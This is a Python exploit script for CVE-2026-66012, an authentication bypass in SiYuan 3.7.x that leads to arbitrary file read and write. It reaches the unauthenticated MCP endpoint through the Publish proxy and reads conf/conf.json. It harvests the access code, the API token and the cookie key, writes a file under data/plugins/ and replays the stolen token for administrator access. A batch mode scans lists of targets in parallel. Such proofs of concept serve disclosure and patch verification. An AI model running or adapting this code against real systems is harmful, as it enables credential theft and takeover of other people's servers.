📄 SiYuan 3.7.1 Authentication Bypass / Arbitrary File Write

#!/usr/bin/env python3
    """
    CVE-2026-66012 - SiYuan unauthenticated MCP access -> workspace file read/write -> admin takeover
    Affected: SiYuan kernel 3.7.0 <= v < 3.7.2 (fixed in 3.7.2)
    Type: Auth Bypass (missing authorization, CWE-862) chained to arbitrary file read/write
    
    The kernel registers POST /mcp behind model.CheckAuth only, with no CheckAdminRole and no
    CheckReadonly. CheckAuth is a presence check that accepts RoleReader. When the Publish
    reverse proxy runs in anonymous mode (Conf.Publish.Enable=true, Conf.Publish.Auth.Enable=false)
    it stamps every proxied request with the anonymous RoleReader JWT, so an attacker with no
    credentials at all reaches all 31 MCP tools through the Publish port. The `file` tool exposes
    list/read/write/delete/rename/copy over the whole workspace, which yields conf/conf.json in
    plaintext: accessAuthCode, api.token and cookieKey.
    
    Target the PUBLISH port (default 6808), not the kernel port. Send no credentials: the proxy
    overwrites X-Auth-Token with the anonymous JWT, so anything you supply is discarded.
    
    Usage:
      python exploit.py --host <target> --port 6808
      python exploit.py --host 192.168.1.10 --port 6808 --kernel-port 6806
      python exploit.py --host 192.168.1.10 --file data/storage/petal/petals.json
      python exploit.py --host https://notes.corp.com:6808/mcp
      python exploit.py --host 192.168.1.10 --no-write        # read-only, touch nothing
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import http.client
    import json
    import ssl
    import sys
    import uuid
    from urllib.parse import urlparse
    
    CVE_ID    = "CVE-2026-66012"
    VULN_TYPE = "Auth Bypass"
    
    PROTO_2026    = "2026-07-28"      # sessionless MCP path: handlePost2026, no initialize needed
    PROTO_CLASSIC = "2025-06-18"      # fallback: initialize -> Mcp-Session-Id -> tools/call
    CONF_PATH     = "conf/conf.json"  # workspace-relative, holds the secrets in cleartext
    DEFAULT_MCP_PATH = "/mcp"
    UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------- helpers
    
    def _loads(data: bytes):
        """Parse a JSON body. Tolerates SSE framing (`data: {...}`) and returns None on junk."""
        if not data:
            return None
        text = data.decode("utf-8", "replace").strip()
        if text.startswith("data:"):
            lines = [l[5:].strip() for l in text.splitlines() if l.startswith("data:")]
            text = "".join(lines)
        try:
            return json.loads(text)
        except ValueError:
            return None
    
    
    def _get_header(headers: dict, name: str):
        low = name.lower()
        for k, v in headers.items():
            if k.lower() == low:
                return v
        return None
    
    
    class MCPClient:
        """Minimal MCP-over-HTTP client. Network I/O only, no credentials ever sent."""
    
        def __init__(self, host, port, use_tls=False, path=DEFAULT_MCP_PATH, timeout=15.0):
            self.host = host
            self.port = port
            self.use_tls = use_tls
            self.path = path or DEFAULT_MCP_PATH
            self.timeout = timeout
            self.session_id = None
            self.mode = None          # "2026" once the sessionless path is confirmed, else "classic"
            self.last_status = None
    
        def _conn(self):
            if self.use_tls:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                return http.client.HTTPSConnection(self.host, self.port, timeout=self.timeout, context=ctx)
            return http.client.HTTPConnection(self.host, self.port, timeout=self.timeout)
    
        def _post(self, payload, extra=None):
            body = json.dumps(payload).encode()
            headers = {
                "Content-Type": "application/json",
                "Accept": "application/json, text/event-stream",
                # identity keeps the global gzip middleware from compressing the reply
                "Accept-Encoding": "identity",
                "Content-Length": str(len(body)),
                "User-Agent": UA,
            }
            if extra:
                headers.update(extra)
            conn = self._conn()
            try:
                conn.request("POST", self.path, body=body, headers=headers)
                resp = conn.getresponse()
                data = resp.read()
                self.last_status = resp.status
                return resp.status, dict(resp.getheaders()), data
            finally:
                try:
                    conn.close()
                except Exception:
                    pass
    
        def _handshake(self):
            """Classic path: initialize, keep the Mcp-Session-Id the server hands back."""
            payload = {
                "jsonrpc": "2.0", "id": 1, "method": "initialize",
                "params": {
                    "protocolVersion": PROTO_CLASSIC,
                    "capabilities": {},
                    "clientInfo": {"name": "mcp-client", "version": "1.0"},
                },
            }
            status, headers, data = self._post(payload)
            if status != 200:
                return False
            sid = _get_header(headers, "Mcp-Session-Id")
            if sid:
                self.session_id = sid
            return True
    
        def rpc(self, method, params=None, rid=1):
            """Issue one JSON-RPC call. Returns (http_status, parsed_json_or_None, raw_bytes)."""
            payload = {"jsonrpc": "2.0", "id": rid, "method": method}
            if params is not None:
                payload["params"] = params
    
            # Preferred: single sessionless request on the 2026-07-28 protocol path.
            # Mcp-Method is deliberately omitted (if sent it must equal the body method, else 400).
            if self.mode in (None, "2026"):
                status, headers, data = self._post(payload, {"MCP-Protocol-Version": PROTO_2026})
                if status == 200:
                    self.mode = "2026"
                    return status, _loads(data), data
                # 401/403 are authorization verdicts, not protocol problems: report them as-is.
                if self.mode == "2026" or status in (401, 403):
                    return status, _loads(data), data
    
            # Fallback: session-based handshake for builds without the 2026 branch.
            if self.session_id is None and not self._handshake():
                return self.last_status, None, b""
            self.mode = "classic"
            extra = {"Mcp-Session-Id": self.session_id} if self.session_id else {}
            status, headers, data = self._post(payload, extra)
            return status, _loads(data), data
    
        def tools_list(self):
            status, parsed, raw = self.rpc("tools/list", rid=1)
            tools = []
            if isinstance(parsed, dict):
                tools = (parsed.get("result") or {}).get("tools") or []
            return status, tools, raw
    
        def file_tool(self, action, rid=2, **arguments):
            """Call the `file` tool. Returns (http_status, text_or_None, is_error, raw)."""
            arguments["action"] = action
            status, parsed, raw = self.rpc("tools/call", {"name": "file", "arguments": arguments}, rid=rid)
            if not isinstance(parsed, dict):
                return status, None, True, raw
            result = parsed.get("result")
            if not isinstance(result, dict):
                return status, None, True, raw
            # A failed tool call still returns HTTP 200: isError sits inside result, not as a
            # JSON-RPC error member.
            is_error = bool(result.get("isError"))
            text = None
            content = result.get("content")
            if isinstance(content, list) and content:
                first = content[0]
                if isinstance(first, dict):
                    text = first.get("text")
            return status, text, is_error, raw
    
        def read_file(self, path, rid=2):
            # limit=-1 defeats the 200-line default truncation in fileRead; conf.json is longer.
            return self.file_tool("read", rid=rid, path=path, limit=-1)
    
    
    def _api_call(host, port, use_tls, endpoint, token=None, timeout=15.0):
        """POST a kernel API endpoint. Used for the privilege-escalation rung on the kernel port."""
        body = b"{}"
        headers = {
            "Content-Type": "application/json",
            "Accept-Encoding": "identity",
            "Content-Length": str(len(body)),
            "User-Agent": UA,
        }
        if token:
            headers["Authorization"] = "Token " + token
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
        else:
            conn = http.client.HTTPConnection(host, port, timeout=timeout)
        try:
            conn.request("POST", endpoint, body=body, headers=headers)
            resp = conn.getresponse()
            return resp.status, resp.read()
        finally:
            try:
                conn.close()
            except Exception:
                pass
    
    
    def _harvest(conf_text):
        """Pull the three secrets out of a raw conf.json string."""
        out = {}
        try:
            conf = json.loads(conf_text)
        except (ValueError, TypeError):
            return out
        if not isinstance(conf, dict):
            return out
        if isinstance(conf.get("accessAuthCode"), str):
            out["accessAuthCode"] = conf["accessAuthCode"]
        if isinstance(conf.get("cookieKey"), str):
            out["cookieKey"] = conf["cookieKey"]
        api = conf.get("api")
        if isinstance(api, dict) and isinstance(api.get("token"), str):
            out["token"] = api["token"]
        return out
    
    
    def _excerpt(text, head=900, tail=900):
        """Head+tail view. conf.json buries the secrets past a long `langs` array, so a plain
        head-only truncation would cut away the exact evidence the read proves."""
        if len(text) <= head + tail:
            return text
        omitted = len(text) - head - tail
        return (text[:head] + f"\n\n...[{omitted} bytes omitted from this display only - "
                              f"the full {len(text)}-byte file was returned by the server]...\n\n" + text[-tail:])
    
    
    def _diagnose(status, raw):
        """Turn a non-exploitable response into a one-line reason."""
        if status in (401, 403):
            return f"blocked - HTTP {status} on /mcp (patched: CheckAdminRole rejects the anonymous RoleReader)"
        text = (raw or b"").decode("utf-8", "replace").strip()
        if '"code":-1' in text and "Auth" in text:
            return "blocked - Publish basic auth is enabled (not anonymous mode)"
        snippet = text[:120].replace("\n", " ")
        return f"no MCP tool list in response (HTTP {status}) {snippet}".strip()
    
    
    # ---------------------------------------------------------------- scan mode
    
    def _try_exploit(host, port, use_tls, path=DEFAULT_MCP_PATH, timeout=10.0):
        """Silent probe for --list. Read-only: never writes to the target. Never prints or exits."""
        try:
            mcp = MCPClient(host, port, use_tls, path, timeout=timeout)
            status, tools, raw = mcp.tools_list()
            if not tools:
                return False, _diagnose(status, raw)
            names = [t.get("name") for t in tools if isinstance(t, dict)]
            if "file" not in names:
                return True, f"{len(tools)} MCP tools exposed unauthenticated, but no `file` tool"
            _, text, is_error, _ = mcp.read_file(CONF_PATH)
            if is_error or not text:
                return True, f"{len(tools)} MCP tools reachable unauthenticated; {CONF_PATH} unreadable"
            secrets = _harvest(text)
            if not secrets:
                return True, f"{len(tools)} MCP tools reachable unauthenticated; read {len(text)} bytes of {CONF_PATH}"
            bits = []
            if "accessAuthCode" in secrets:
                bits.append("accessAuthCode=" + (secrets["accessAuthCode"] or "<empty>"))
            if "token" in secrets:
                bits.append("api.token=" + secrets["token"])
            if "cookieKey" in secrets:
                bits.append("cookieKey=" + secrets["cookieKey"])
            return True, f"{len(tools)} tools, secrets recovered: " + ", ".join(bits)
        except Exception as e:
            return False, f"unreachable ({e.__class__.__name__})"
    
    
    def _parse_target(line, default_port, default_path=DEFAULT_MCP_PATH):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers=10):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
            ok, evidence = _try_exploit(host, port, use_tls, path)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # ---------------------------------------------------------------- single target
    
    def exploit(host, port, use_tls, path, target_file, kernel_port, do_write, timeout):
        header(host, port)
        mcp = MCPClient(host, port, use_tls, path, timeout=timeout)
    
        # Rung 1 - unauthenticated reach. No cookie, no Authorization, no credentials of any kind.
        step(1, f"POST {path} with no credentials (MCP-Protocol-Version: {PROTO_2026}) - listing tools")
        status, tools, raw = mcp.tools_list()
        if not tools:
            reason = _diagnose(status, raw)
            section("SERVER RESPONSE", (raw or b"<empty body>").decode("utf-8", "replace")[:600] or "<empty body>")
            done(False, reason)
        names = sorted(t.get("name") for t in tools if isinstance(t, dict))
        section("EXPOSED MCP TOOLS (unauthenticated)",
                f"HTTP {status}  |  {len(tools)} tools reachable with zero credentials\n" + ", ".join(names))
        if "file" not in names:
            done(True, f"Missing authorization confirmed - {len(tools)} MCP tools exposed unauthenticated, but no `file` tool")
        print(f"  -> `file` tool present (list/read/write/delete/rename/copy over the whole workspace)\n")
    
        # Rung 2 - arbitrary workspace read.
        step(2, f"Reading `{target_file}` through the file tool (limit=-1 defeats the 200-line default)")
        status, text, is_error, raw = mcp.read_file(target_file, rid=2)
        if is_error or text is None:
            section("TOOL RESPONSE", (raw or b"").decode("utf-8", "replace")[:600] or "<empty body>")
            done(True, f"Missing authorization confirmed - {len(tools)} MCP tools exposed unauthenticated, "
                       f"but `{target_file}` could not be read")
        section(f"FILE CONTENT ({target_file}) - {len(text)} bytes", _excerpt(text))
    
        # Credential harvest. conf/conf.json is where the secrets live; if the operator pointed
        # --file elsewhere, fetch it separately so the escalation rung stays available.
        secrets = _harvest(text)
        if not secrets and target_file != CONF_PATH:
            step(3, f"Harvesting credentials from `{CONF_PATH}`")
            _, conf_text, conf_err, _ = mcp.read_file(CONF_PATH, rid=3)
            if not conf_err and conf_text:
                secrets = _harvest(conf_text)
                section(f"CREDENTIAL FILE ({CONF_PATH}) - {len(conf_text)} bytes", _excerpt(conf_text, 600, 900))
    
        if secrets:
            lines = []
            if "accessAuthCode" in secrets:
                lines.append(f"accessAuthCode : {secrets['accessAuthCode'] or '<empty>'}   (instance lock-screen password, plaintext on disk)")
            if "token" in secrets:
                lines.append(f"api.token      : {secrets['token']}   (maps to RoleAdministrator in CheckAuth)")
            if "cookieKey" in secrets:
                lines.append(f"cookieKey      : {secrets['cookieKey']}   (HMAC key for session cookies - offline admin cookie forgery)")
            section("STOLEN CREDENTIALS", "\n".join(lines))
    
        # Rung 4 - arbitrary workspace write, proven by a byte-for-byte round trip.
        write_ok = False
        marker_dir = None
        if do_write:
            marker = "alim-" + uuid.uuid4().hex[:10]
            marker_dir = "data/plugins/" + marker
            marker_path = marker_dir + "/index.js"
            payload = f"// {CVE_ID} write-primitive proof - inert marker {marker}"
            step(4, f"Writing `{marker_path}` (the real plugin-planting location), then reading it back")
            _, wtext, werr, wraw = mcp.file_tool("write", rid=4, path=marker_path, data=payload)
            if werr:
                section("WRITE RESPONSE", (wraw or b"").decode("utf-8", "replace")[:400])
            else:
                _, back, berr, _ = mcp.read_file(marker_path, rid=5)
                write_ok = (not berr) and back is not None and back.strip() == payload.strip()
                section("WRITE ROUND TRIP",
                        f"server said : {wtext}\n"
                        f"wrote       : {payload}\n"
                        f"read back   : {back}\n"
                        f"identical   : {write_ok}")
                # Clean up our own marker only. Never delete data/, conf/ or repo/.
                _, dtext, derr, _ = mcp.file_tool("delete", rid=6, path=marker_dir)
                print(f"  -> cleanup: {'deleted ' + marker_dir if not derr else 'FAILED to delete ' + marker_dir}\n")
        else:
            step(4, "Write proof skipped (--no-write): target left untouched")
    
        # Rung 3 - the stolen api.token is Administrator, but only on the kernel port. Through the
        # Publish proxy the anonymous RoleReader JWT overwrites X-Auth-Token, so we must go direct.
        admin_ok = False
        token = secrets.get("token")
        if token and kernel_port:
            step(5, f"Escalating: replaying the stolen api.token against the kernel port {kernel_port} (/api/system/getConf)")
            try:
                a_status, a_body = _api_call(host, kernel_port, use_tls, "/api/system/getConf", token=token, timeout=timeout)
                n_status, n_body = _api_call(host, kernel_port, use_tls, "/api/system/getConf", token=None, timeout=timeout)
                a_text = a_body.decode("utf-8", "replace")
                n_text = n_body.decode("utf-8", "replace")
                admin_ok = a_status == 200 and '"code":0' in a_text
                section("ADMINISTRATOR API ACCESS (kernel port)",
                        f"with stolen token : HTTP {a_status}  {a_text[:220]}\n"
                        f"without token     : HTTP {n_status}  {n_text[:220]}")
            except Exception as e:
                section("ADMINISTRATOR API ACCESS (kernel port)",
                        f"kernel port {kernel_port} not reachable from here ({e.__class__.__name__}) - "
                        f"escalation rung not demonstrated, the stolen token remains valid against it")
        elif not token:
            step(5, "Escalation skipped: no api.token recovered")
    
        # Verdict, strongest primitive first.
        parts = [f"{len(tools)} MCP tools reachable with zero credentials"]
        if "accessAuthCode" in secrets:
            parts.append(f"accessAuthCode='{secrets['accessAuthCode']}'")
        if "token" in secrets:
            parts.append(f"api.token='{secrets['token']}'")
        if "cookieKey" in secrets:
            parts.append(f"cookieKey='{secrets['cookieKey']}'")
        if write_ok:
            parts.append("arbitrary workspace write round-tripped under data/plugins/")
        if admin_ok:
            parts.append("stolen token accepted as Administrator on the kernel API (code:0)")
        done(True, "Unauthenticated MCP access - " + "; ".join(parts))
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:6808/mcp)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=6808,
                            help="Publish proxy port - the unauthenticated one (default: 6808)")
        parser.add_argument("--file", default=CONF_PATH,
                            help=f"Workspace-relative file to read (default: {CONF_PATH})")
        parser.add_argument("--kernel-port", type=int, default=6806,
                            help="Kernel API port for the privilege-escalation rung (default: 6806, 0 to skip)")
        parser.add_argument("--no-write", action="store_true",
                            help="Skip the write-primitive proof and leave the target untouched")
        parser.add_argument("--timeout", type=float, default=15.0, help="Socket timeout in seconds (default: 15)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, DEFAULT_MCP_PATH)
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.file, args.kernel_port, not args.no_write, args.timeout)